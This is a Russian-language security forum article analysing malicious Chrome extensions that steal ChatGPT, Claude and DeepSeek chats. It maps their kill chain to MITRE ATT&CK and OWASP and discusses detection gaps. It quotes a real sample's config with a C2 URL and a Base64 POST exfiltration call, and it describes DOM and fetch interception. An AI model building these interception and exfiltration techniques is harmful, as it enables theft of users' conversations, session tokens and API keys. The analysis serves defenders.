Статья Вредоносные расширения браузера и кража AI-чатов: анатомия атак на LLM-контекст

Разломанный значок браузерного расширения в форме пазла на чёрной антистатической подложке. Из трещины вытекает поток закодированного текста, внутри стекла видны провода и структура DOM.


В одном из образцов, попавших мне на разбор в начале этого года, расширение Chrome позиционировалось как улучшенный интерфейс для работы с ChatGPT. В manifest - типовой набор permissions: activeTab, storage, tabs. Ничего криминального на первый взгляд. Content script через MutationObserver отслеживал каждый новый блок ответа в DOM чат-интерфейса, копировал textContent в chrome.storage.local и пробрасывал данные background-скрипту. Service worker раз в 30 минут упаковывал буфер в Base64 и отправлял fetch-ом на внешний endpoint. Пользователь видел работающее AI-расширение - а промпты, ответы модели и токены сессий тихо утекали. По данным OX Security, такие кампании уже поставлены на поток: десятки расширений в Chrome Web Store маскируются под AI-аддоны и exfiltrate переписку из ChatGPT, Claude и DeepSeek. Аналитики LayerX Research зафиксировали минимум 16 расширений с практически одинаковым вредоносным кодом от единого оператора. LLM-контекст стал отдельной attack surface, и большинство threat-моделей её до сих пор не учитывает.

Бизнес-логика атаки: почему LLM-контекст ценнее cookie​

Зачем атакующему содержимое чата с языковой моделью, когда можно угнать сессионные cookie? Ответ - в том, что именно пользователи вкладывают в LLM-диалоги. Корпоративные сотрудники загружают в ChatGPT и Claude фрагменты внутренних документов, конфигурации серверов, куски кода с захардкоженными API-ключами, данные клиентов. Системные промпты корпоративных LLM-приложений содержат бизнес-логику, правила фильтрации, иногда - прямые ссылки на внутренние API. Утечка системного промпта (LLM07:2025 System Prompt Leakage по классификации OWASP) - это не просто потеря интеллектуальной собственности, а готовая карта для дальнейшей атаки на инфраструктуру.

Кража LLM-контекста монетизируется несколькими путями:
  • Переписка с моделью - фактически дамп фрагментов внутренних систем. Покупатели на теневых маркетплейсах оценивают такие данные выше, чем raw-дампы БД, потому что контекст диалога раскрывает логику взаимодействия между компонентами.
  • Извлечённые системные промпты позволяют клонировать коммерческие AI-продукты или находить в них prompt injection-уязвимости - это и есть prompt extraction.
  • API-ключи и credentials из чат-истории - прямой вектор входа в инфраструктуру жертвы. Никакого фишинга, никакой эксплуатации CVE. Просто initial access из чужого чата.
  • Если модель подключена к Slack, Jira, GitHub - содержимое чата раскрывает структуру интеграций и часто содержит OAuth-токены. Lateral movement через контекст, без единого запуска эксплойта.
Русскоязычные обзоры вредоносных расширений фокусируются на угоне аккаунтов Facebook или краже сессий, но кража AI-контекста - отдельный класс атак с другой бизнес-моделью.

Kill chain кражи AI-чатов через расширения браузера​

1783539453071.webp

Полная цепочка от установки вредоносного расширения до exfiltration LLM-данных укладывается в пять этапов. Каждый маппится на конкретную технику MITRE ATT&CK:

1. Установка и закрепление - Persistence, T1176.001 Browser Extensions. Расширение попадает в браузер через Chrome Web Store (маскировка под AI-инструмент) или через side-loading при установке пиратского контента. По данным Kaspersky, кампания ChromeLoader в 2023 году доставляла вредоносные расширения через VHD-файлы с образами игр, причём планировщик задач Windows автоматически переустанавливал расширение после перезагрузки.

2. Персистентная идентификация. Расширение генерирует UUID пользователя и сохраняет его в chrome.storage.local. Идентификатор переживает перезапуск браузера и позволяет коррелировать все действия жертвы во времени. Это не cookie - пользователь не может очистить его стандартными средствами.

3. Перехват данных - Collection (T1185, T1005, T1213). Content script получает доступ к DOM чат-интерфейса, читает текст промптов и ответов модели, метаданные сессий. Параллельно через chrome.tabs.onActivated и chrome.tabs.onUpdated собирается полный профиль навигации. Перехват заголовков авторизации через webRequest API даёт доступ к токенам сессий (T1539 Steal Web Session Cookie).

4. Буферизация и подготовка. Данные не уходят сразу - используется debounce-логика и локальный буфер с лимитом (обычно 4 МБ). Это снижает сетевую активность и делает расширение менее заметным для пользователя и для сетевых анализаторов. Кодирование Base64 маскирует JSON-структуру от простых DLP-сигнатур. Типичный OPSEC атакующего: данные отправляются интервалами по 30 минут, имитируя телеметрию.

5. Exfiltration (T1041, T1567.002). Накопленный буфер уходит на C2-сервер через стандартный fetch или XMLHttpRequest. Интервал отправки и HTTPS на домене с легитимным TLS-сертификатом делают трафик практически неотличимым от обычного API-вызова.

Место в полной цепочке. Вредоносное расширение - persistence-компонент, который начинает сбор данных сразу после установки. В полном kill chain расширение чаще всего появляется как результат supply chain compromise или social engineering. Дальше всё зависит от собранного: API-ключи ведут к компрометации облачной инфраструктуры, системные промпты - к таргетированным prompt injection-атакам.

Permissions и content scripts: как вредоносные плагины Chrome крадут данные​

1783539476192.webp

Manifest.json - первый вектор анализа​

[Применимо: аудит расширений, внутренний пентест, security review]

Каждое расширение Chrome описывает права в manifest.json. Для кражи AI-чатов достаточно комбинации из трёх permissions, которые по отдельности выглядят невинно:
  • tabs - доступ к URL и заголовкам всех вкладок. Позволяет определить, когда пользователь открывает chat.openai.com, claude.ai или chat.deepseek.com.
  • storage - персистентное хранилище для буферизации перехваченных данных.
  • activeTab в сочетании с host_permissions: ["<all_urls>"] - право инжектировать content scripts в любую страницу, включая чат-интерфейсы AI.
Красные флаги при анализе manifest:
  • Permission webRequest или webRequestBlocking - позволяет перехватывать HTTP-запросы к API LLM, включая заголовки с authorization-токенами.
  • Широкие host_permissions вместо явного списка доменов. Расширение, заявленное как "помощник ChatGPT", не должно требовать доступа ко всем URL.
  • Директива content_scripts с matches: ["[I]://[/I].openai.com/[I]", "[/I]://[I].anthropic.com/[/I]"] - явный таргетинг AI-платформ.
При ручном аудите через chrome://extensions с включённым Developer Mode первым делом смотрю manifest на соотношение заявленного функционала и запрошенных permissions. Расширение для суммаризации текста не должно требовать tabs и webRequest. Для автоматизированной проверки можно использовать CRXcavator или Extension Source Viewer - они оценивают risk score на основе комбинации permissions, но для LLM-специфичных угроз их эвристик пока недостаточно (проверено на тех самых 16 образцах LayerX - ни один не получил critical score).

Перехват контекста языковой модели через DOM​

[Применимо: анализ вредоносных расширений, browser forensics]

Content script расширения исполняется в контексте веб-страницы и имеет полный доступ к DOM. Для чат-интерфейсов ChatGPT и Claude это означает доступ к тексту каждого промпта и каждого ответа модели - без необходимости ломать API или перехватывать сетевой трафик.

Типичный паттерн перехвата: content script устанавливает MutationObserver на корневой элемент чата. При появлении нового узла (сообщение пользователя или ответ модели) скрипт извлекает textContent и пушит его в массив вместе с timestamp и UUID жертвы. В DOM ChatGPT сообщения рендерятся внутри div с предсказуемой структурой классов - парсить их тривиально.

Отдельный вектор - monkey-patching fetch/XMLHttpRequest на уровне content script. Расширение подменяет глобальный window.fetch обёрткой, которая копирует тело каждого запроса к api.openai.com/v1/chat/completions, включая system prompt в поле messages[0], и дублирует на свой endpoint. Метод работает даже при изменении DOM-структуры - перехват идёт на уровне API-вызовов.

Ограничения техники. Content scripts работают в изолированном JS-контексте (isolated world) и не видят JS-переменные страницы напрямую. DOM при этом доступен полностью. Для перехвата fetch используется инжекция тега <script> в основной мир страницы через document.createElement('script') - этот приём обходит изоляцию content scripts. Manifest V3 не блокирует такую инжекцию, хотя ограничивает webRequestBlocking.

Когда техника не работает. Если AI-платформа использует Shadow DOM для рендеринга чат-сообщений с закрытым shadow root (mode: 'closed'), content script не доберётся до текста через стандартный DOM API. На момент написания статьи ни ChatGPT, ни Claude не используют closed shadow roots - но это потенциальная мера защиты.

Реальные образцы: PromptSnatcher-атака в Chrome Web Store​

1783539505795.webp

Термин PromptSnatcher я использую для класса вредоносных расширений, основная цель которых - извлечение LLM-контекста, а не общий шпионаж за браузером.

Кампания AITOPIA. По данным OX Security, две вредоносные копии легитимного расширения AITOPIA распространялись через Chrome Web Store и exfiltrate переписку из ChatGPT и DeepSeek. Расширения предоставляли реальный AI-функционал (интеграцию с моделями GPT и Claude), одновременно собирая полную историю чатов пользователя. Красивый фантик - а внутри стилер.

16 расширений от единого оператора. Аналитики LayerX Research обнаружили 16 расширений с практически идентичным вредоносным кодом. Все они встраивали скрипты на страницах взаимодействия с ChatGPT и перехватывали сетевые запросы с авторизационными данными. Основная цель - токены активных сессий. Получив токен, атакующий получает полный доступ к аккаунту без знания пароля, включая историю переписки и подключённые сервисы (Google Drive, Slack, GitHub).

Образец с C2 на chatsaigpt.com. Детальный разбор одного из образцов, опубликованный на Хабре, показал типичную архитектуру PromptSnatcher. Центральный объект состояния:
JavaScript:
let config = {
  baseUrl: "https://chatsaigpt.com/ext2/",
  globalChatId: null,
  intervalTime: 60 * 30 * 1000,  // 30 мин между отправками
  MAX_SIZE_BYTES: 4 * 1024 * 1024,
  globalarr: []  // буфер перехваченных данных
};
Каждое переключение вкладки фиксируется через chrome.tabs.onActivated, каждая загрузка страницы - через chrome.tabs.onUpdated. Данные кодируются Base64, отправляются на C2 через fetch(config.baseUrl + "switchModel", { method: "POST", body: payload }). IOC образца: SHA-256 2387372acfe38efd31e662b61b6b44aabb01181c5a2b2f0f1e82f5d4680e505c.

Связь с prompt injection. Расширения-шпионы и prompt injection - два вектора одной проблемы. Расширение exfiltrate данные из LLM-чата, а prompt injection позволяет манипулировать поведением модели. CVE-2024-5184 в сервисе EmailGPT (CVSS 8.5, HIGH; вектор CVSS:4.0 - AV:A/AC:L/PR:L/UI:N; CWE-74 Injection) показала, как prompt injection приводит к утечке захардкоженных системных промптов. Расширение с доступом к DOM может дополнительно вставлять невидимый текст в промпт пользователя, реализуя indirect prompt injection (LLM01:2025, OWASP). По данным исследования с arxiv, функция суммаризации страниц в AI-браузерных ассистентах имеет 73% success rate для prompt injection-атак, а функция ответов на вопросы - 71%. Цифры впечатляют, и не в хорошем смысле.

Маппинг на MITRE ATT&CK и OWASP LLM Top 10​

Формализация PromptSnatcher-атаки через MITRE ATT&CK нужна для написания detection rules и threat hunting-запросов:

ЭтапMITRE ATT&CKТактикаПрименение в атаке
УстановкаT1176.001 Browser ExtensionsPersistenceSide-loading или Web Store
Кража сессийT1539 Steal Web Session CookieCredential AccessПерехват auth-токенов LLM-платформ
Перехват чатаT1185 Browser Session HijackingCollectionMutationObserver, monkey-patching fetch
Чтение данныхT1005 Data from Local SystemCollectionlocalStorage с токенами и историей
Сбор из APIT1213 Data from Information RepositoriesCollectionПерехват запросов к API моделей
ExfiltrationT1041 Exfiltration Over C2 ChannelExfiltrationPOST на сторонний endpoint

По классификации OWASP для LLM-приложений расширение-шпион эксплуатирует три риска из Top 10:
  • LLM01:2025 Prompt Injection - расширение может модифицировать промпт пользователя через DOM-манипуляции, вставляя скрытые инструкции.
  • LLM06:2025 Excessive Agency - если LLM-приложение имеет расширенные привилегии (доступ к файлам, внешним API), перехваченный контекст раскрывает все доступные функции и становится картой для дальнейшей атаки.
  • LLM07:2025 System Prompt Leakage - перехват первого сообщения в API-запросе (messages[0].role: "system") даёт атакующему полный системный промпт.

Обнаружение вредоносных расширений и защита AI-чатов от кражи​

📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме

EDR и DLP не видят расширения. EDR-решения (CrowdStrike Falcon, SentinelOne) мониторят процессы ОС, но browser extensions исполняются внутри рендер-процесса Chrome и не создают отдельных процессов, видимых агенту. Корпоративный proxy видит трафик к C2-серверу, но если exfiltration идёт через HTTPS на домен с легитимным TLS-сертификатом - отличить его от обычного API-вызова без инспекции тела запроса невозможно. DLP-решения работают на уровне файлов и буфера обмена, но не перехватывают данные, передаваемые через chrome.storage в fetch. Слепая зона - и производители пока не торопятся её закрывать.

На стороне AI-платформ. ChatGPT и Claude не имеют механизма обнаружения, что к их DOM подключен сторонний content script. CSP страницы ограничивает inline scripts, но не content scripts расширений - Chrome предоставляет расширениям привилегированный доступ к DOM вне CSP-ограничений. Ротация токенов сессий и привязка к fingerprint устройства усложняют использование украденных credentials, но не предотвращают перехват содержимого чатов.

Кража AI-чатов через расширения обнажает архитектурную проблему, которую индустрия пока не готова признать: браузер стал основной средой исполнения для работы с LLM, и эта среда не имеет адекватной модели изоляции для защиты контекста AI-диалогов от сторонних компонентов. Manifest V3, CSP, enterprise policies - полумеры, которые затрудняют атаку, но не блокируют основной вектор: content script с доступом к DOM.

Мой прогноз на ближайший год: появятся специализированные расширения-стилеры, которые будут таргетировать не только ChatGPT и Claude, а корпоративные LLM-deployments через web-интерфейсы - Ollama Web UI, LibreChat, OpenWebUI. У этих решений attack surface шире: размещение на внутренних доменах без полноценного CSP, токены авторизации в localStorage, пользователи, склонные ставить расширения для "улучшения интерфейса" без аудита.

Тот, кто сегодня не включает browser extensions в свою threat-модель при работе с LLM - завтра будет разбирать инцидент с утечкой корпоративных промптов и API-ключей. Причём разбирать постфактум, потому что ни один EDR в текущем виде этот вектор не покроет. Проверьте свои расширения командой grep из раздела выше. Если нашли совпадение - у вас та же проблема, что и у тех компаний из отчёта OX Security. Только они об этом уже знают, а вы - может быть, ещё нет.
 
Последнее редактирование модератором:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab